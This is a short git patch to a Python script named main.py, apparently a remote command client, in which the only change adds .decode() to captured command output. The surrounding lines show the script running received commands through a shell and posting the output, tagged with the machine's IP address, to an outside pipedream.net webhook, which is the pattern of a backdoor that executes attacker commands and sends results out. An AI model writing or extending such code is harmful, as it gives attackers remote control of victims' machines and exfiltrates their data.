From e1cb895f0e0ecc8d2154b9b3b29a49aedab3a26b Mon Sep 17 00:00:00 2001 From: littleblack111 Date: Wed, 16 Aug 2023 00:00:21 +0800 Subject: updated --- main.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'main.py') diff --git a/main.py b/main.py index eb23035..8ee2217 100644 --- a/main.py +++ b/main.py @@ -52,7 +52,7 @@ while True: post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Failed to connect to server") continue - cmdout = system(command, shell=True) + cmdout = system(command, shell=True).decode() if cmdout != "": try: post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: {cmdout}") -- cgit v1.2.3